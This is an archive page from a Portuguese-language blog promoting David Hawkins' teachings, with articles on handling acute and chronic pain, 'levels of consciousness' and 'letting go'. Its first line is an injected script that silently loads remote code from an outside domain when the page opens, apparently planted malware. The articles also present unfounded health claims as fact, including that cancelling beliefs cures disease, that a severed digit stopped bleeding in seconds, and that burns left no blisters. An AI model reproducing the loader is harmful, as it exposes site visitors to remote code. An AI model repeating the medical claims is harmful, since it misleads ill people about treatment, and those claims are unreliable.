;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de consciência - David Hawkins Brasil
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Níveis de Consciência

Como lidar com a dor crônica sem sofrimento?

Nesse artigo vamos aprender a lidar com a dor crônica, aquela que vem e insiste em ficar. Mostraremos práticas espirituais e técnicas, vamos aprofundar no que explicamos no artigo da semana passada sobre como lidar com a dor aguda pontual que ocorre após algum acidente.

A técnica que será utilizada será a mesma que para a dor aguda, mas a forma de fazer isso é um pouco diferente. Vamos aprofundar com algumas práticas de como lidar com a dor crônica a seguir.

Lidando com a dor crônica

1ª. Prática: Observe que a dor está em todo lugar

Quem nunca sentiu uma dor que faz o estômago revirar e as pernas tremerem? A dor não tem um muro em volta em que fica apenas na região que está sendo evidenciada incialmente. A dor está na consciência e justamente por isso pode ser sentida de qualquer região do nosso corpo. Abaixo vamos ensinar uma técnica de meditação para observar isso com maior clareza.

“Como todas as experiências estão sendo experienciadas na consciência, observamos para ver onde a dor está sendo experienciada, como no caso do polegar que foi cortado. Primeiramente, poderíamos dizer que a dor está no dedo. Na verdade, onde a dor está sendo experienciada? A dor move a atenção para longe do dedo. Se a pessoa disser “Movo o foco da atenção para o topo da minha cabeça”, do topo da cabeça, olhamos a região do polegar e experienciamos a dor da situação, mas onde está se passando a dor do polegar? Quando fazemos isso, começamos a perceber que a dor está sendo experienciada em todo lugar – ao redor do corpo e nos campos de energia do corpo – está acontecendo em todos os lugares.”  – Dr. David Hawkins, “Cura e Recuperação”

2ª. Prática: Não Rotule o que está sentindo

A sensação que sentimos não é o nome que damos a sensação, é o que é experienciado de fato. Mesmo as palavras sensação ou dor são rótulos. Por exemplo, se você tem uma úlcera, não chame de úlcera. Sua mente vai querer então chamar de “queimação”. Mas isso também é um conceito.

Pense em um animal que apenas sente sem ficar refletindo sobre o que é, porque está sentindo isso, etc. É justamente isso que vamos fazer! Assim, podemos nos desvincular de todas as programações mentais que vem atreladas a ter uma doença, como, no exemplo que demos, tudo o que a humanidade associa ao fato de ter úlcera.

“Estamos sujeitos apenas àquilo que mantemos em mente. Essa única frase é a chave para curar todas as doenças, dores e sofrimentos.”  – Dr. David Hawkins, “Cura e Recuperação”

3ª. Prática: Cancele crenças

Ao compreendermos que só estamos sujeitos ao que mantemos em mente, logo vem a mente uma vontade de limpar tudo isso e de saber como fazer essa limpeza profunda. A forma de fazer isso é cancelar nossas crenças, já que são elas que estão por trás das doenças e acidentes.

“Pesquisas mostraram que é o sistema de crença em si que literalmente cria a experiência. O incidente é uma expressão do sistema de crenças. É como se a mente justificasse o que acredita ser verdade.”  – Dr. David Hawkins, “Cura e Recuperação”

A única maneira de saber se isso é verdade, é praticando. Portanto, a primeira crença que vamos cancelar é a de que dor e sofrimento são a mesma coisa. Vamos dizer a nós mesmos: “Dor é uma coisa, sofrimento é outra”.

Em seguida, vamos cancelar todos os pensamentos, pois todos são crenças. Para isso vamos utilizar a seguinte frase: “Eu cancelo a crença (de que tenho uma dor crônica). Eu sou um ser de Amor Infinito e não estou sujeito a isso”.  – Dr. David Hawkins, “Cura e Recuperação”

4ª. Prática: Se distancie da dor

O caminho não é de reprimir a dor ou se distrair para não focar no que está acontecendo. O caminho ainda é o que indicamos para a dor aguda: é renunciar à resistência para de fato sentir a dor, ao invés de tentar fugir dela. 

Podemos sentir a dor com um certo distanciamento, quase como se estivéssemos observando a dor em uma outra pessoa. 

“Por que algumas pessoas são tão suscetíveis à dor e sofrimento e para outras é tão transitório? Para quem é transitório, a dor e o sofrimento passam pela superfície, mas não em seu núcleo. Podem ficar extremamente incomodadas com algo, mas quem elas realmente são internamente, se mantém imperturbável. De alguma maneira, existe uma diferenciação entre quem se é e as experiências. O Eu real é totalmente imperturbável e permite que a experiência flua através do eu. O mal-estar, como conflitos emocionais, pode durar horas, mas o Eu verdadeiro interior nem participa desse mal-estar. Essa é a diferença entre o que é o eu real da pessoa e o que está sendo experienciado. É o desapegar do hábito de se identificar como a experiência. Somos aquilo em que a experiência está acontecendo, não a experiência em si.”  – Dr. David Hawkins, “Cura e Recuperação”

5ª. Prática: Entregue a Dor para Algo Maior

Lidar com a dor crônica não é missão para o ego, que vai querer fugir ou se sentir culpado ou orgulhoso. Esse processo envolve humildade radical e uma grande entrega a Deus. Em oração podemos assumir que não conseguimos e pedir para que Deus lide com isso por nós. Assim, poderemos experienciar que de fato algo maior do que o eu, lida com a dor por nós. 

“Minha experiência pessoal foi que alguma energia maior surgia e cuidava da dor para mim. Chamamos de “energia maior”, pois podemos verificar sua existência. Como já disse, “Deus, eu não posso fazer; faça por mim”.”  – Dr. David Hawkins, “Cura e Recuperação”

O sofrimento que vem da dor aguda é reflexo do Nível de Consciência

No fundo da tabela de consciência está a Culpa (30), a culpa excessiva gera doenças, acidentes e desgastes. Quando nos conectamos ao nível de consciência de culpa, vivemos em pecado, sofrimento, dor e isso por si só gera um ódio a nós mesmos. É um processo de autodestruição. 

Aqui, o primeiro ponto que precisamos desapegar é que isso traz algum benefício. A verdade é que a culpa não nos faz pessoas melhores, em vez disso, ela nos torna pessoas ainda mais egoístas. 

“Agora temos que abrir mão da crença de que penitência, culpa, pecado e sofrimento são de enorme benefícios espi- rituais. Verdadeiramente, todos os milhares de pessoas que tratei clinicamente ao longo de cinquenta anos que tinham dor crônica, culpa, pecado e sofrimento, eram as pessoas mais egoístas e egocêntricas que já conheci. Dor crônica e sofrimento não fazem as pessoas se iluminarem, se tornarem amorosas. Isso normalmente as faz ser mal-humoradas, raivosas, egoístas e egocêntricas, o que as leva para o próximo nível – autopiedade”  – Dr. David Hawkins, “Cura e Recuperação”

Sentir pena de si mesmo pela doença não é o caminho, nem sentir Medo de que esse estado permaneça ou mais ainda, o medo de que o estado piore.  O caminho também não é o Desejo constante de se livrar de tudo isso, o que só gera mais resistência. Enquanto a resistência, por sua vez, garante a permanência da dor e deixa as pessoas raivosas. 

“A raiva das pessoas em dor crônica é enorme. Estão presas nisso.”  – Dr. David Hawkins, “Cura e Recuperação”

Há até um Orgulho sombrio de ninguém conseguir ajudar a pessoa a sair dessa condição na qual está presa. Quando a pessoa acredita que seu caso não tem solução, perde a esperança e resiste ao tratamento. É claro que esse também não é o caminho. 

Os Níveis de Consciência positivos nos distanciam da dor

O caminho para sair disso começa na Coragem para “deixar de resistir”. A partir daí, atingimos a Neutralidade onde reconhecemos que está tudo bem, não importa o que aconteça. Isso nos traz a Disposição em ser misericordiosos e a Aceitar que somos humanos, realmente aceitar a nossa humanidade.

“Existe a aceitação da condição humana e da experiência protoplásmica humana sem sentir mágoas com relação a isso, sem sentir autopiedade, sem ficar com raiva, sem sentir orgulho e começar a julgar “erros” e sem atacar a si mesmo. Se fizermos isso, podemos nos elevar para um campo de energia chamado Amor, ou mesmo Alegria e Amor Incondicional.”  – Dr. David Hawkins, “Cura e Recuperação”

Quando entramos em um estado de amorosidade (entre 500 e 540), aprendemos a rir de nós mesmos. Logo, nos aproximamos da cura. Há vários livros que relatam que o humor cura, assim as doenças físicas são de fato curadas por risadas frequentes. Aqui, cria-se a consciência de que a dor é uma coisa, mas eu sou outra.

O que fazer com a dor crônica durante todo esse processo espiritual até se chegar na cura?

1ª. Técnica: Acupuntura

Aqui no artigo ensinamos como lidar com a parte espiritual durante uma doença, mas precisamos também fazer algo para aliviar nosso corpo físico, justamente porque todas as doenças devem ser tratadas nos âmbitos físico, mental e espiritual. A acupuntura, por sua vez, vai atuar de forma muito efetiva no corpo físico, aliviando as dores e contribuindo para que o processo de cura espiritual seja realizado do começo a fim, sem tantas interferências na vida mundana. 

2ª. Técnica: Relaxamento profundo

Outro nome dado a essa técnica é hipnose, mas dado a todas as crenças que se atribuíram a palavra, optamos por nomeá-la de relaxamento profundo, o que reflete de maneira mais autoexplicativa o que é essa técnica. 

Por questões de progressão da consciência, não recomendamos buscar um profissional que faça esse tipo de trabalho, recomendamos que a pessoa aprenda a chegar nesse estado por si só. É um estado de relaxamento no qual o nível de concentração fica aumentado de forma que não conseguimos na vida cotidiana. Assim, é muito mais fácil reprogramar crenças.

Então, como fazer isso sozinho?

Comece relaxando seu corpo por níveis, como se estivesse descendo 10 degraus. Antes de começar cada nível, anuncie mentalmente para você mesmo “Nível 1” e assim por diante.

  • Nível 1 – Inicia a experiência
  • Nível 2 – Relaxe todos os músculos da cabeça. Não se esqueça de observar a mandíbula onde sobrecarregamos muitas tensões. 
  • Nível 3 – Relaxe as tensões do pescoço e trapézio
  • Nível 4 – Relaxe os músculos das costas e do peitoral
  • Nível 5 – Aumente a progressão do relaxamento, dos músculos maiores até os menores, como ombros, braços, antebraços, mãos e dedos.
  • Nível 6 – Relaxe peito e tronco
  • Nível 7 – Relaxe toda a tensão do abdômen inferior
  • Nível 8 – Relaxe quadril e nádegas
  • Nível 9 – Deixe o relaxamento fluir pelas suas pernas
  • Nível 10 – Relaxe os pés

No nível 10, diga a si mesmo “Estou no nível 10”, como um gatilho para realmente desapegar da resistência. Em seguida, reprograme suas crenças com o que ensinamos aqui, por exemplo, que dor é uma coisa, sofrimento é outra. Observe que quando não há resistência, não há sofrimento em sentir a dor. Por fim, aplique a primeira prática que ensinamos aqui e experiencie a dor em todo lugar, sem resistência.

3ª. Técnica: Ouvir músicas grandiosas

Hoje sabemos que as músicas belas e grandiosas liberam endorfinas no cérebro. Mas desde a época de Hipócrates já sabíamos do efeito curativo que a beleza proporciona. 

No âmbito mais popular são recomendados artistas como George Harrison, Andrea Bocelli, Enrico Caruso e Louis Armstrong. Já se você gosta de música clássica, mergulhe ao som de Bach, J. S.  e Pachebel, J. (“Canon”). Mesmo que você não esteja familiarizado com músicas clássicas, escute quando for fazer uma atividade em precise de energia ou para começar o dia. Já para relaxar e se interiorizar, recomendamos músicas espirituais como “Ave Maria” e “Amazing Grace” ou o som de Robert Gass.

Não perca nada!

Essa é a segunda parte do artigo inspirado no “Capítulo 10: Dor e Sofrimento” do livro “Cura e Recuperação”. Na primeira parte, ensinamos a lidar com a dor aguda e é uma ótima introdução para melhor compreender o que ensinamos aqui.

Leia direto da fonte: livro “Cura e Recuperação” 

Uma das melhores maneiras de absorver toda a profundidade do trabalho do Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá se aprofundar no contexto e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito, de maneira a praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Mas não é só isso, ao descobrir a Verdade, vamos aprender a lidar com a sexualidade, o envelhecimento, questões de emagrecimento e até a própria morte.

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que Pandora Treinamentos absorveu, pela sua inspiração e pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Cura e Recuperação” no Brasil.

Estão todos convidados para mergulhar nesse conteúdo conosco.

Acesse o site da Editora Pandora e adquira o seu exemplar do livro Cura e Recuperação.

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Como lidar com a dor aguda sem sofrimento?

Não, a dor e o sofrimento não são a mesma coisa, por mais surpreendente que essa informação possa parecer. Não é necessário ser vítima da dor e isso é possível justamente descontruindo a crença de que dor é igual a sofrimento. É possível que a dor esteja presente, mas não seja sentida devido ao estado de consciência. Isso é o que acontece de forma artificial quando tomamos uma anestesia, mas aqui vamos ensinar como chegar nesse estado de forma natural.

Acreditamos que a dor é sentida fisicamente, mas na verdade ela é interpretada pela mente. Enquanto a mente, só sabe o que se passa nela devido a consciência. No artigo sobre Sexualidade aprofundamos um pouco mais sobre como isso funciona.

“O conteúdo da mente e o que está se passando nela é observado através da consciência; assim sendo, toda experiência está ocorrendo na consciência.” – Dr. David Hawkins, “Cura e Recuperação”

Lidando com a dor aguda

O ego acredita que ao resistir a dor, ela será eliminada. Queremos resistir a todo custo por acreditar que a dor gera sofrimento. Ficamos chocados que houve um acidente e mentalizando sobre isso, querendo que não tivesse acontecido. A técnica que vamos usar é o oposto disso é desapegar da resistência, e vamos mostrar porque isso é muito melhor do que toda a resistência que geramos normalmente.

“Desapegar da resistência significa estar por completo no evento e se render totalmente a sensação. Significa ignorar os pensamentos que possamos estar tendo sobre o evento. Em vez de pensar sobre isso, vamos entrar diretamente na experiência da sensação e desapegar de resisti-la. Por exemplo, se nos queimarmos acidentalmente e desapegarmos de resistir a sensação, inicialmente será como uma saturação. Abrimos as portas, a dor se intensifica, e nos rendemos totalmente a ela e desapegamos de resistir.

A maneira de fazer isso é dizer “Mais, mais, mais”. A maneira de manter isso em mente para que seja aceitável é saber que existe uma quantidade limitada de dor em cada experiência. Abrimos a porta e a deixamos se esgotar rapidamente. “Desapego de resistir a essa experiência. Desapego de resistir em estar com ela. Ignoro os pensamentos, pois os pensamentos não serão úteis. Ao invés disso, me rendo totalmente e me permito experienciar a experiência na sua totalidade”. É como se a porta se abrisse, a intensidade aumenta e a dor é totalmente experienciada e esgotada em poucos minutos.” – Dr. David Hawkins, “Cura e Recuperação”

Experiências de quem aplicou a técnica para dores agudas

Quando escolhemos sentir a experiência da dor, deixamos de ser vítimas da experiência e nos tornamos senhores dela. A técnica foi utilizada pelo próprio dr. David Hawkins ao torcer o tornezelo e o pé esquerdo, em seguida dessas experiências, ele sentiu ondas de dor aguda, mas não precisou enfaixar e ficou completamente curado. 

Quando ele cortou seu dedão fora com uma serra ao fazer carpintaria o sangue parou de jorrar em poucos segundos após amputar seu dedo. Ficaram apenas 8 gostas na tábua de madeira que está guardada até hoje.

No entanto, ele não foi o único a experienciar os benefícios dessa técnica. Foram muitos os casos, mas ele cita mais dois alunos dele que fizeram isso com queimaduras intensas e não tiverem as bolhas que se esperaria delas. Além disso, conta o caso de uma turma em que ensinou sobre isso numa semana, e na próxima semana vários alunos tiverem acidentes e puderam comprovar a eficácia da técnica.

Você não precisa acreditar no que está aqui, a técnica pode ser experienciada por qualquer pessoa. Tudo o que precisa ser feito é desapegar da resistência. Enquanto a resistência estiver presente, a experiência permanece. Portanto, é a resistência que nos coloca na posição de vítimas e é assim a dor ganha poder sobre nós. 

Correlação da Experiência com os níveis de Consciência

Quando tentamos controlar a experiência ou usar força de vontade, estamos em um nível de consciência negativo de Raiva e Indignação (150), inconformados porque ter que sentir dor. Aqui, ficamos presos num mar de emoções negativas, sem alívio dos sintomas. 

No entanto, podemos criar Coragem (200) de agir diferente e compreender a Neutralidade (250) de que “está tudo bem passar por isso”. Assim, surge a Disposição (310) de lidar com isso até o final. Com essa escolha ficamos dispostos a aceitar o que é e nós nos elevamos a Aceitação (380).

Ao escolher aplicar a técnica que ensinamos aqui a pessoa observa que seu ego não precisa lidar com a dor, em vez disso, Algo Maior, o Amor (500) está com elas nesse momento. Até que isso nos eleva ao Amor Incondicional (540) que é o nível da Cura e do desapego à resistência. 

“É fazendo essas coisas que elas se tornam reais. Fazendo esse exercício co- meçamos a experienciar que algo além do eu pessoal está lidando com a experiência e, dentro de instantes, o que era agonizante se torna suportável. Saímos da resistência e do medo do sofrimento.”  – Dr. David Hawkins, “Cura e Recuperação”

Não perca nada!

Essa é a primeira parte do artigo inspirado no “Capítulo 10: Dor e Sofrimento” do livro “Cura e Recuperação”. Na segunda parte, que vamos publicar semana que vem, ensinaremos a lidar com a dor crônica.

Leia direto da fonte: livro “Cura e Recuperação” 

Uma das melhores maneiras de absorver toda a profundidade do trabalho do Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá se aprofundar no contexto e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito, de maneira a praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Mas não é só isso, ao descobrir a Verdade, vamos aprender a lidar com a sexualidade, o envelhecimento, questões de emagrecimento e até a própria morte.

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que Pandora Treinamentos absorveu, pela sua inspiração e pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Cura e Recuperação” no Brasil.

Estão todos convidados para mergulhar nesse conteúdo conosco.

Acesse o site da Editora Pandora e adquira o seu exemplar do livro Cura e Recuperação.

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7 conceitos chave aplicados no estudo dos Níveis de Consciência

No último artigo onde tratamos dos alicerces do desenvolvimento do estudo dos níveis da consciência, realizado pelo Dr. David Hawkins e descrito no livro “Poder vs Força”, vimos que a dinâmica não linear, foi fundamental para a condução da pesquisa. Agora vamos falar de padrões atratores, além de outros conceitos.

Essas são algumas definições um pouco mais complexas, mas importantes para o entendimento e para acompanharmos a proposta que Dr. David R. Hawkins traz em Poder vs. Força.

A ideia deste artigo é dar base científica e lógica para o estudo, que foi feita com maestria por Dr. Hawkins, e ao final te fazer entender como os Níveis de Consciência farão você ter uma vida cada vez mais feliz e abundante!

Vamos então aos 7 conceitos e padrões aplicados nos estudos dos Níveis de Consciência:

1. Dinâmica Não Linear e Padrões Atratores – um padrão identificável

Vamos começar! Vai parecer profundo, mas fará sentido no final.

Quando num estudo surge um padrão identificável em um bloco de dados, que aparentemente não tem um significado, esse padrão parece esconder uma coerência naquilo que parece incoerente.

Tal coerência pode ser demonstrada inicialmente num estudo de computação gráfica feito por Edward Lorenz sobre padrões climáticos em longos períodos.

Tá, mas o que significa isso na prática?

Lembra do “efeito borboleta”? Você provavelmente já ouviu falar ou assistiu ao filme do mesmo nome. A teoria por trás disso é a de que tudo está conectado e que o mínimo movimento exercido num ponto se resulta em movimentos maiores, independente de onde esteja.

Alguns desses padrões se mostram como muito poderosos e outros como mais fracos e o que parece diferenciá-los é o que resulta das chamadas “energia alta ou baixa” da matemática da ligação química.

2. Campos de Dominância – o Domínio da Alta Energia

Chama-se de campo de dominância a apresentação dada por padrões de alta energia e suas influências sobre outros mais fracos.

O universo dos fenômenos se expressa através da interação de padrões atratores sem fim e de forças variáveis.

O que podemos dizer é que os infinitos enredamentos presentes na vida apenas refletem as reverberações intermináveis dos aumentativos e diminutivos desses campos que se compõem de seus harmônicos e de suas outras interações.

Se estiver parecendo muito complexo, fique calmo(a)! Não tente captar tudo com a mente. Continue lendo!

3. O Ponto Crítico – menor força x maior efeito

Dentro do conceito newtoniano todos os dados “não deterministas” são desconsiderados porque estão fora do conceito tradicional de causalidade.

Segundo esse paradigma, o universo está baseado em 3 dimensões de espaço e manifesta processos lineares no tempo, como um relógio gigante.

Nas palavras do Dr. Hawkins, observa-se no funcionamento de um relógio “algumas engrenagens se movem em ritmo lento e pesado, enquanto outras se movem rapidamente, e pêndulos minúsculos se aproximam quando mecanismos de fuga balançam para frente e para trás. Colocar pressão em uma engrenagem grande em movimento teria pouco efeito em todo o mecanismo. Entretanto, em algum lugar há um, mecanismo de equilíbrio delicado a ponto de que o toque mais leve consegue parar todo o dispositivo.”

É isso que se chama de “ponto crítico”: um ponto exato onde a menor força é capaz de exercer o maior efeito.

No entanto, com o surgimento das teorias de Einstein, Heisenberg, Bell e Bohr, o universo se expandiu por meio da demonstração de que tudo é interdependente, tudo interage com todos.  

4. Causalidade

Ponderado o mundo observável, a causalidade fala sobre uma sequência de acontecimentos.

Pense em um jogo de bilhar, onde uma bola bate na outra, que bate na outra e há uma sequência de movimentos onde a primeira bola A causou o movimento da bola B e B causou o movimento da bola C. A isso se dá o nome de sequência linear determinista.

Quando esse mesmo movimento é observado através da dinâmica não linear, nota-se que a causalidade opera de maneira completamente diferente em que ABC se divide em “operantes” e isso se expressa como a sequência aparente de percepção: A, depois B e então C.

O uso analítico da dinâmica não linear considera não só o observável como também o não-observável, como um arco-íris que se configura como uma ponte entre os reinos deterministas e os não deterministas.

A pergunta que um estudo não-determinista se faz é: O que engloba tanto o possível quanto o impossível, o conhecido quanto o desconhecido? Ou seja, quais são todas as possibilidades?

O físico David Bohm cita o “dobrado”- implicações invisíveis quanto o “desdobrado”, manifestações explícitas, algo que já era observado desde o tempo dos sábios iluminados, cujo estado de consciência já vislumbrava essa não linearidade.

5. Padrões Atratores e os estudos das funções do cérebro através dos supercomputadores

O uso dos computadores de inteligência artificial (AI) permitiu a aplicação de teorias da dinâmica não linear nos estudos do cérebro. Essa pesquisa concluiu que as redes neurais do cérebro agem como um sistema de padrões atratores, não se comportando de maneira aleatória.

Os neurônios da consciência revelam os chamados “sistemas de satisfação de restrições” onde uma rede interconectada de unidades de neurônios opera dentro de uma série de limitantes e assim estabelece padrões atratores que correlacionam o comportamento humano à sua fisiologia, demonstrando uma conexão entre o corpo e a mente.

Isso está em linha com os resultados do teste de cinesiologia muscular.

6. A evolução da consciência e o desenvolvimento da sociedade humana

Dr. Hawkins descreveu seu estudo também em termos matemáticos da dinâmica não linear.

Os níveis de consciência foram calibrados de 1 até 1.000 e representam logaritmos na base de 10 e estão relacionados ao poder desses respectivos campos.

  • A graduação de 1 a 600 representa o domínio da grande maioria da experiência humana
  • Os níveis graduados de 600 a 1.000, são o reino da evolução não ordinária, da iluminação, dos sábios e dos estados espirituais mais elevados.

Dentro desse espectro, o estudo vai identificando os poderes progressivos de campos atratores, com algumas variações locais, mas com uma consistência em sua totalidade.

O ponto crítico no estudo dos níveis da consciência parece estar na calibragem de 200 e, abaixo disso

  • Abaixo disso estão os atratores “fracos” ou  “negativos”.
  • Acima de 200 estão os atratores “fortes ou positivos”.

Há que se considerar que a lei da dependência sensível nas condições iniciais, ou seja, ‘o efeito borboleta’ da teoria do caos, é relevante no entendimento da evolução da consciência humana.

Segundo essa lei uma pequena variação ao longo do curso de tempo pode ter o efeito de produzir uma mudança profunda, assim como um navio que apresenta um desvio de um grau de seu compasso pode eventualmente se encontrar a centenas de quilômetros fora do curso.

7. Padrões Atratores poderosos organizam o comportamento humano

A busca pela compreensão da imprevisibilidade do comportamento humano é objeto de estudo desde tempos imemoriais. Compreender o incompreensível fez com que fossem criados infinitos sistemas.

O processo da vida não é lógico e racional, linear, mas é orgânico, não linear e, quando isso não é considerado, traz inevitavelmente uma frustração intelectual.

Nos estudos dos níveis da consciência as respostas não derivaram das crenças ou do conteúdo intelectual humano, mas sim de determinantes importantes como os padrões de campos de energia, aspectos da própria consciência.

Os resultados do estudo indicam que padrões profundamente poderosos organizam o comportamento humano.

Conclusão

Existe um campo atrator poderoso que organiza todo o comportamento humano e é inato à humanidade. Dentro desse mesmo campo, existem outros campos de menor energia e poder que dominam o comportamento e são consistentes através das culturas e do tempo ao longo da história da humanidade.

São as interações dessas variações dentro desses campos atratores que compõem a história da civilização. Falamos em humanidade, mas também existem estudos indicando que esses campos também estão presentes nos reinos animal e vegetal.

O estudo dos níveis de consciência mantêm uma correlação com:

  • As hipóteses dos campos morfogenéticos, estudados por Rubert Shaldrake, biólogo inglês.
  • Com os modelos holográficos das funções do cérebro-mente de Karl Pribram.
  • Com as conclusões de Sir John Eccles de que o cérebro funciona como um aparelho receptor de padrões de energia, existentes na mente que se expressam através do pensamento.

Assunto denso, não é?

Sim! Mas, com certeza, a leitura do livro “Poder vs Força” terá uma visão magnífica da importância dos estudos do Dr. David Hawkins para a compreensão do desenvolvimento da consciência humana e dos aspectos não-deterministas que estão presentes em nossa existência.

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Respostas: Onde Você Busca por Elas?

Somos seres questionadores por natureza. Queremos obter respostas para todas nossas dúvidas e problemas. Vivemos buscando respostas.

Mas, será que buscamos por elas no lugar certo? Nossa mente é geralmente o primeiro recurso que usamos para obtê-las.

Observe as perguntas que a mente faz:

  • O que tem de errado com a gente?
  • Sou só eu ou o mundo que está enlouquecendo?
  • Onde estão as respostas?

Aí você obtém algumas respostas, mas percebe que elas apenas aliviam momentaneamente suas dúvidas e a seguir surgem novas questões:

  • A mente humana é uma bagunça, há esperança?
  • Será que Deus sabe o que está fazendo?
  • Está tudo confuso.

A mente tagarela o tempo todo.

Não se preocupe, buscar respostas é um processo humano

É um movimento comum do ser humano buscar respostas nas mais diversas áreas do conhecimento como: ciências, terapias, filosofias, religiões, astrologia, misticismo, enfim, mesmo recorrendo a uma infinidade de possibilidades, a busca por respostas é geralmente infrutífera. Ao final das mais diversas buscas, sentimos que nossas questões ainda não foram respondidas, ainda mantemos a dúvida e novas questões em mente.

A mente parece tagarelar em qualquer lugar que se procure uma solução.

Algumas pessoas tendem a banalizar os questionamentos da vida dizendo que ela é simples e que não entendem o porquê de tantas dúvidas. Na verdade, podem estar negando o próprio medo de enxergar a tudo isso. Especialistas sofisticam as questões e tentam catalogar crenças e respostas.

A verdade é que o ser humano busca conhecimento, tratamento, frequenta terapias, escolas, cursos, muda nutrição, entre tantas alternativas que podemos citar, sempre com o intuito de obter respostas, numa busca incansável e interminável.

Uma procura incansável por respostas

O que move o ser humano nessa direção? A esperança? O que o motiva a continuar buscando?

Onde está o nosso ponto cego? Por que não conseguimos encontrar a resposta?

Talvez porque:

  • ela seja muito simples
  • buscamos fora o que está dentro
  • mantemos muitos sistemas de crenças e nos tornamos cegos para o óbvio

Não conseguimos respostas porque não entendemos o problema

Qual é o segredo daqueles que conseguiram obter respostas?

Muitos caminhos espirituais são seguidos por multidões, mas poucos percebem a verdade última. E, por que isso não funciona? Por que quebramos a cara?

  • O ego entra em ação rapidamente e somos pegos pelo orgulho e a presunção achando que sabemos a resposta

Segundo Dr. Hawkins, devemos nos afastar daqueles que têm respostas, que se dizem justos e bons samaritanos.

“Confusão é nossa salvação. Para o confuso ainda há esperança. Mantenha-se em sua confusão. No fim ela é sua melhor amiga, sua melhor defesa contra a verdade absoluta das respostas dos outros, contra o ser oprimido por suas ideias. Se você está confuso, você ainda está livre!”

Dr. David Hawkins

Como alcançar a clareza e transcender os problemas?

Dr. Hawkins sugere que não se busque a resposta, mas que se procure desfazer a base do problema. As soluções e respostas encontram-se dentro de nós através de recursos disponíveis a todos, indistintamente.

“Conhece a ti mesmo”

“A verdade te libertará”

“O Reino de Deus está dentro de você.”

Tudo o que precisamos para solucionar qualquer questão já está dentro de nós, ninguém poderá nos roubar isso. E é a certeza da posse desse conhecimento interior, inconsciente, que sempre esteve dentro de nós que levou o professor Hawkins a descrever o mecanismo simples do “deixar ir”.

A prática desse mecanismo é capaz de processar mudanças notáveis. São esses conhecimentos que os Grandes Mestres nos trouxeram e que estamos há tanto tempo tentando compreendê-los.

A partir do momento em que compreendemos o mecanismo e o aplicamos em nossa vida, vamos nos sentindo mais livres, como se um peso saísse de nossas costas.

Um método simples e palpável

A partir do momento que conheça o método e passe a usá-lo, parecerá algo tão simples que talvez você até desconfie. Dr. Hawkins prefere que tenhamos exatamente essa postura:

“Melhor que euforia, uma observação silenciosa vai servir-lhe melhor.”

Deixar ir é uma metodologia que sugere apenas que redescubra aquilo que está dentro de você, que sempre foi seu, que emerge de sua própria natureza.

Por que compartilhar isso?

Pelo simples fato de colocar todos em contato com seus próprios sentimentos e experiências internas. Deixar ir significa rendição e ela virá automaticamente, pois buscar alívio a dor, ao sofrimento é algo natural que leva à experiência da felicidade maior.

No próximo artigo vamos descrever mais detalhadamente o processo descrito no livro “Deixar Ir”, da rendição que está em todos nós.

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Poder vs Força – O Desenvolvimento dos Estudos dos Níveis de Consciência

Qual é a natureza da consciência?

Se você está acompanhando a série de artigos relacionados aos livros do Dr. David Hawkins “Poder vs Força”, pode ver que no último conteúdo publicado falamos sobre a condução que apoia os estudos dos níveis de consciência, as influências e premissas que serviram de base para esse legado do autor.

Entendendo ainda mais o desenvolvimento desse estudo.

Qual é a natureza da consciência?

Boa pergunta não? E, pode-se dizer que essa é a principal barreira encontrada por qualquer ramo do conhecimento que busca compreendê-la, das filosofias à teologia, das teorias políticas até a própria cinesiologia, tão estudada por Dr. David Hwkins.

Todas convergem para o entendimento organizado da consciência pura.

Claro que alguns pensadores mais avançados ultrapassaram alguns parâmetros e se questionaram sobre a relação universo-ciência-consciência, mas o estudo conduzido pelo Dr. Hawkins funde essas disciplinas na busca de algo que possa descortinar a consciência.

Tudo está conectado, por que não a consciência?

Se tudo no universo está unido, conectado, por que isso seria diferente com todos esses conhecimentos? O que o estudo dos níveis de consciência fez foi abarcar todo esse conhecimento transcendendo o ponto de vista limitado de dualidade.

Se tudo é Uno, por que o subjetivo e o objetivo seriam diferentes?

“Se, na realidade, os chamados subjetivo e objetivo são realmente um só e o mesmo, então podemos encontrar as respostas para todas as questões apenas olhando dentro do próprio homem.”

Dr. David R. Hawkins

A mente humana é um computador muito mais avançado que qualquer máquina de inteligência artificial elaborada.

O próprio corpo humano dá sinais e consegue discernir de forma apurada a diferença do que dá ou não suporte à vida.

Ficou surpreso com isso?

Sim, nosso corpo é capaz de reconhecer o que suporta a vida porque esse é um mecanismo fundamental de sobrevivência. Qualquer espécie viva reage às mudanças e busca corrigi-las de alguma forma.  

Quer um exemplo disso? As árvores tornam-se menores em altitudes mais elevadas, à medida que o oxigênio na atmosfera se torna mais escasso. Ou seja, existe uma “inteligência” na espécie que as levou a configurar aspectos estruturais para a sobrevivência.

O estudo da consciência e a dinâmica não linear

